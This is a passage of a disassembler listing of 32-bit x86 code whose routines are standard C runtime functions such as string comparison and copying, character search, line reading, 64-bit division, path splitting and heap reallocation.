		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_414DD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414ECE	proc near		; CODE XREF: seg000:004053C8p
					; seg000:0040551Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_414F4A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_414EED
		cmp	edi, 1
		jz	short loc_414EED
		cmp	edi, 2
		jnz	short loc_414F4A


loc_414EED:				; CODE XREF: sub_414ECE+13j
					; sub_414ECE+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_414F04
		push	esi
		call	sub_419CA9
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_414F04:				; CODE XREF: sub_414ECE+27j
		push	esi
		call	sub_416774
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_414F19
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_414F2D
; ---------------------------------------------------------------------------


loc_414F19:				; CODE XREF: sub_414ECE+42j
		test	al, 1
		jz	short loc_414F2D
		test	al, 8
		jz	short loc_414F2D
		test	ah, 4
		jnz	short loc_414F2D
		mov	dword ptr [esi+18h], 200h


loc_414F2D:				; CODE XREF: sub_414ECE+49j
					; sub_414ECE+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_419C0F
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_414F57
; ---------------------------------------------------------------------------


loc_414F4A:				; CODE XREF: sub_414ECE+Bj
					; sub_414ECE+1Dj
		mov	ds:dword_45E804, 16h
		or	eax, 0FFFFFFFFh


loc_414F57:				; CODE XREF: sub_414ECE+7Aj
		pop	edi
		pop	esi
		retn
sub_414ECE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F60	proc near		; CODE XREF: seg000:00405392p
					; seg000:004053B3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_414F91
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_414F8F
		jz	short loc_414F91
		dec	ecx
		dec	ecx


loc_414F8F:				; CODE XREF: sub_414F60+29j
		not	ecx


loc_414F91:				; CODE XREF: sub_414F60+9j
					; sub_414F60+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_414F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414FA0	proc near		; CODE XREF: sub_4055DD+5Cp
					; sub_4055DD+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_415054
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_414FCA


loc_414FBB:				; CODE XREF: sub_414FA0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_414FFB
		test	edi, 3
		jnz	short loc_414FBB


loc_414FCA:				; CODE XREF: sub_414FA0+19j
					; sub_414FA0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_414FCA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_415008
		test	ah, ah
		jz	short loc_415003
		test	eax, 0FF0000h
		jz	short loc_414FFE
		test	eax, 0FF000000h
		jnz	short loc_414FCA


loc_414FFB:				; CODE XREF: sub_414FA0+20j
		dec	edi
		jmp	short loc_41500B
; ---------------------------------------------------------------------------


loc_414FFE:				; CODE XREF: sub_414FA0+52j
		sub	edi, 2
		jmp	short loc_41500B
; ---------------------------------------------------------------------------


loc_415003:				; CODE XREF: sub_414FA0+4Bj
		sub	edi, 3
		jmp	short loc_41500B
; ---------------------------------------------------------------------------


loc_415008:				; CODE XREF: sub_414FA0+47j
		sub	edi, 4


loc_41500B:				; CODE XREF: sub_414FA0+5Cj
					; sub_414FA0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_415020
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41506C
		jmp	short loc_41503C
; ---------------------------------------------------------------------------


loc_415020:				; CODE XREF: sub_414FA0+75j
					; sub_414FA0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41505A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_415050
		test	esi, 3
		jnz	short loc_415020
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41506C


loc_41503C:				; CODE XREF: sub_414FA0+7Ej
					; sub_414FA0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_415050


loc_415043:				; CODE XREF: sub_414FA0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_415052
		dec	ecx
		jnz	short loc_415043


loc_415050:				; CODE XREF: sub_414FA0+8Bj
					; sub_414FA0+A1j
		mov	[edi], cl


loc_415052:				; CODE XREF: sub_414FA0+ABj
		pop	ebx
		pop	esi


loc_415054:				; CODE XREF: sub_414FA0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41505A:				; CODE XREF: sub_414FA0+85j
					; sub_414FA0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415064:				; CODE XREF: sub_414FA0+E4j
					; sub_414FA0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41503C


loc_41506C:				; CODE XREF: sub_414FA0+7Cj
					; sub_414FA0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_415064
		test	dl, dl
		jz	short loc_41505A
		test	dh, dh
		jz	short loc_4150B8
		test	edx, 0FF0000h
		jz	short loc_4150A8
		test	edx, 0FF000000h
		jnz	short loc_415064
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4150A8:				; CODE XREF: sub_414FA0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4150B8:				; CODE XREF: sub_414FA0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_414FA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150D0	proc near		; CODE XREF: sub_40571E+2A2p
					; seg000:0040E40Ap ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_4150F1
		xor	eax, eax
		jmp	short loc_4150F3
; ---------------------------------------------------------------------------


loc_4150F1:				; CODE XREF: sub_4150D0+1Bj
		mov	eax, edi


loc_4150F3:				; CODE XREF: sub_4150D0+1Fj
		cld
		pop	edi
		leave
		retn
sub_4150D0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_415110


loc_415100:				; CODE XREF: sub_415110+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_415110
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415110	proc near		; CODE XREF: sub_406A7B+DBp
					; seg000:0040B76Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00415100 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_415116:				; CODE XREF: sub_413B80+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41513B


loc_415128:				; CODE XREF: sub_415110+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_415100
		test	cl, cl
		jz	short loc_415184
		test	edx, 3
		jnz	short loc_415128


loc_41513B:				; CODE XREF: sub_415110+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_415146:				; CODE XREF: sub_415110+61j
					; sub_415110+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_415188
		and	eax, 81010100h
		jz	short loc_415146
		and	eax, 1010100h
		jnz	short loc_415182
		and	esi, 80000000h
		jnz	short loc_415146


loc_415182:				; CODE XREF: sub_415110+68j
					; sub_415110+81j ...
		pop	esi
		pop	edi


loc_415184:				; CODE XREF: sub_415110+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415188:				; CODE XREF: sub_415110+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_4151C5
		test	al, al
		jz	short loc_415182
		cmp	ah, bl
		jz	short loc_4151BE
		test	ah, ah
		jz	short loc_415182
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_4151B7
		test	al, al
		jz	short loc_415182
		cmp	ah, bl
		jz	short loc_4151B0
		test	ah, ah
		jz	short loc_415182
		jmp	short loc_415146
; ---------------------------------------------------------------------------


loc_4151B0:				; CODE XREF: sub_415110+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4151B7:				; CODE XREF: sub_415110+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4151BE:				; CODE XREF: sub_415110+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4151C5:				; CODE XREF: sub_415110+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_415110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151CC	proc near		; CODE XREF: sub_406A7B+AFp
					; seg000:0040F7D4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_4151E0
		xor	eax, eax
		jmp	short loc_415216
; ---------------------------------------------------------------------------


loc_4151E0:				; CODE XREF: sub_4151CC+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_415210
		mov	esi, [ebp+arg_8]


loc_4151E9:				; CODE XREF: sub_4151CC+42j
		dec	dword ptr [esi+4]
		js	short loc_4151F8
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_4151FF
; ---------------------------------------------------------------------------


loc_4151F8:				; CODE XREF: sub_4151CC+20j
		push	esi
		call	sub_419940
		pop	ecx


loc_4151FF:				; CODE XREF: sub_4151CC+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41521A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_415210
		dec	[ebp+arg_4]
		jnz	short loc_4151E9


loc_415210:				; CODE XREF: sub_4151CC+18j
					; sub_4151CC+3Dj ...
		and	byte ptr [edi],	0


loc_415213:				; CODE XREF: sub_4151CC+55j
		mov	eax, ebx
		pop	esi


loc_415216:				; CODE XREF: sub_4151CC+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41521A:				; CODE XREF: sub_4151CC+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_415210
		xor	ebx, ebx
		jmp	short loc_415213
sub_4151CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415223	proc near		; CODE XREF: sub_407FCC+6p
					; sub_407FEA+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_45E898, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_415250
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4152E9
		cmp	eax, 5Ah
		jg	loc_4152E9
		add	eax, 20h
		jmp	loc_4152E9
; ---------------------------------------------------------------------------


loc_415250:				; CODE XREF: sub_415223+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_415284
		cmp	ds:dword_42D2FC, esi
		jle	short loc_415272
		push	esi
		push	ebx
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_41527C
; ---------------------------------------------------------------------------


loc_415272:				; CODE XREF: sub_415223+42j
		mov	eax, ds:off_42D0F0
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41527C:				; CODE XREF: sub_415223+4Dj
		test	eax, eax
		jnz	short loc_415284


loc_415280:				; CODE XREF: sub_415223+ADj
		mov	eax, ebx
		jmp	short loc_4152E9
; ---------------------------------------------------------------------------


loc_415284:				; CODE XREF: sub_415223+3Aj
					; sub_415223+5Bj
		mov	edx, ds:off_42D0F0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4152A8
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4152B1
; ---------------------------------------------------------------------------


loc_4152A8:				; CODE XREF: sub_415223+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4152B1:				; CODE XREF: sub_415223+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_45E898
		call	loc_419E01
		add	esp, 20h
		test	eax, eax
		jz	short loc_415280
		cmp	eax, esi
		jnz	short loc_4152DC
		movzx	eax, [ebp+var_4]
		jmp	short loc_4152E9
; ---------------------------------------------------------------------------


loc_4152DC:				; CODE XREF: sub_415223+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4152E9:				; CODE XREF: sub_415223+16j
					; sub_415223+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415223	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4152F0	proc near		; CODE XREF: sub_408EC3+3Dp
					; sub_40A6A6+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_415311
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_415361
; ---------------------------------------------------------------------------


loc_415311:				; CODE XREF: sub_4152F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41531F:				; CODE XREF: sub_4152F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41531F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41534A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41534A
		jb	short loc_415352
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_415352


loc_41534A:				; CODE XREF: sub_4152F0+4Aj
					; sub_4152F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_415352:				; CODE XREF: sub_4152F0+52j
					; sub_4152F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_415361:				; CODE XREF: sub_4152F0+1Fj
		pop	ebx
		retn	10h
sub_4152F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415370	proc near		; CODE XREF: sub_408EC3+24p
					; sub_40A6A6+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_415392
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4153D3
; ---------------------------------------------------------------------------


loc_415392:				; CODE XREF: sub_415370+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4153A0:				; CODE XREF: sub_415370+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4153A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4153CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4153CE
		jb	short loc_4153CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4153CF


loc_4153CE:				; CODE XREF: sub_415370+4Ej
					; sub_415370+54j
		dec	esi


loc_4153CF:				; CODE XREF: sub_415370+56j
					; sub_415370+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4153D3:				; CODE XREF: sub_415370+20j
		pop	esi
		pop	ebx
		retn	10h
sub_415370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153D8	proc near		; CODE XREF: sub_408F79+1E3p
					; seg000:0040AC17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_413DB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_415413
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_415413
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41540F
		push	2
		push	ebx
		push	esi
		call	sub_41A430
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41540F:				; CODE XREF: sub_4153D8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41541D
; ---------------------------------------------------------------------------


loc_415413:				; CODE XREF: sub_4153D8+18j
					; sub_4153D8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41541D
		and	byte ptr [eax],	0


loc_41541D:				; CODE XREF: sub_4153D8+39j
					; sub_4153D8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_415495


loc_415430:				; CODE XREF: sub_4153D8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_45FD41[edx], 4
		jz	short loc_415441
		inc	eax
		jmp	short loc_41545B
; ---------------------------------------------------------------------------


loc_415441:				; CODE XREF: sub_4153D8+64j
		cmp	cl, 2Fh
		jz	short loc_415455
		cmp	cl, 5Ch
		jz	short loc_415455
		cmp	cl, 2Eh
		jnz	short loc_41545B
		mov	[ebp+var_4], eax
		jmp	short loc_41545B
; ---------------------------------------------------------------------------


loc_415455:				; CODE XREF: sub_4153D8+6Cj
					; sub_4153D8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41545B:				; CODE XREF: sub_4153D8+67j
					; sub_4153D8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_415430
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_415495
		cmp	[ebp+arg_8], 0
		jz	short loc_415490
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_415479
		mov	edi, esi


loc_415479:				; CODE XREF: sub_4153D8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41A430
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_415490:				; CODE XREF: sub_4153D8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41549F
; ---------------------------------------------------------------------------


loc_415495:				; CODE XREF: sub_4153D8+56j
					; sub_4153D8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41549F
		and	byte ptr [ecx],	0


loc_41549F:				; CODE XREF: sub_4153D8+BBj
					; sub_4153D8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4154F2
		cmp	edi, ebx
		jb	short loc_4154F2
		cmp	[ebp+arg_C], 0
		jz	short loc_4154CF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4154B8
		mov	edi, esi


loc_4154B8:				; CODE XREF: sub_4153D8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41A430
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4154CF:				; CODE XREF: sub_4153D8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41551A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4154DF
		mov	esi, eax


loc_4154DF:				; CODE XREF: sub_4153D8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41A430
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41551A
; ---------------------------------------------------------------------------


loc_4154F2:				; CODE XREF: sub_4153D8+CCj
					; sub_4153D8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_415510
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_415501
		mov	esi, eax


loc_415501:				; CODE XREF: sub_4153D8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41A430
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_415510:				; CODE XREF: sub_4153D8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41551A
		and	byte ptr [eax],	0


loc_41551A:				; CODE XREF: sub_4153D8+FCj
					; sub_4153D8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41551F	proc near		; CODE XREF: sub_409689+19p
					; sub_41106A+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_415DDC
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41555D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41556A
; ---------------------------------------------------------------------------


loc_41555D:				; CODE XREF: sub_41551F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_415CC7
		pop	ecx
		pop	ecx


loc_41556A:				; CODE XREF: sub_41551F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41551F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41556F	proc near		; CODE XREF: sub_4098E7+2Ep
					; sub_414863+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_41558A
		push	[esp+10h+arg_4]
		call	sub_413E5F
		pop	ecx
		jmp	loc_41568A
; ---------------------------------------------------------------------------


loc_41558A:				; CODE XREF: sub_41556F+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_4155A0
		push	ebx
		call	sub_413ED3
		pop	ecx


loc_415599:				; CODE XREF: sub_41556F+114j
		xor	eax, eax
		jmp	loc_41568A
; ---------------------------------------------------------------------------


loc_4155A0:				; CODE XREF: sub_41556F+21j
					; sub_41556F+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41566B
		push	ebx
		call	sub_416B8D
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_415648
		cmp	esi, ds:dword_42D30C
		ja	short loc_415608
		push	esi
		push	ebx
		push	ebp
		call	sub_417398
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4155D7
		mov	edi, ebx
		jmp	short loc_415600
; ---------------------------------------------------------------------------


loc_4155D7:				; CODE XREF: sub_41556F+62j
		push	esi
		call	sub_416EE3
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_415608
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4155EE
		mov	eax, esi


loc_4155EE:				; CODE XREF: sub_41556F+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_413690
		push	ebx
		push	ebp
		call	sub_416BB8
		add	esp, 14h


loc_415600:				; CODE XREF: sub_41556F+66j
		test	edi, edi
		jnz	loc_415688


loc_415608:				; CODE XREF: sub_41556F+53j
					; sub_41556F+73j
		test	esi, esi
		jnz	short loc_41560F
		push	1
		pop	esi


loc_41560F:				; CODE XREF: sub_41556F+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_45FE60
		call	ds:dword_41F140	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41566B
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_415634
		mov	eax, esi


loc_415634:				; CODE XREF: sub_41556F+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_413690
		push	ebx
		push	ebp
		call	sub_416BB8
		add	esp, 14h
		jmp	short loc_415667
; ---------------------------------------------------------------------------


loc_415648:				; CODE XREF: sub_41556F+47j
		test	esi, esi
		jnz	short loc_41564F
		push	1
		pop	esi


loc_41564F:				; CODE XREF: sub_41556F+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	ds:dword_45FE60
		call	ds:dword_41F154	; RtlReAllocateHeap
		mov	edi, eax


loc_415667:				; CODE XREF: sub_41556F+D7j
		test	edi, edi
		jnz	short loc_415688


loc_41566B:				; CODE XREF: sub_41556F+36j
					; sub_41556F+B9j
		cmp	ds:dword_45E864, 0
		jz	short loc_415688
		push	esi
		call	sub_416AF8
		test	eax, eax
		pop	ecx
		jnz	loc_4155A0
		jmp	loc_415599
; ---------------------------------------------------------------------------


loc_415688:				; CODE XREF: sub_41556F+93j
					; sub_41556F+FAj ...
		mov	eax, edi


loc_41568A:				; CODE XREF: sub_41556F+16j
					; sub_41556F+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41556F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41568F	proc near		; CODE XREF: sub_409F42+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
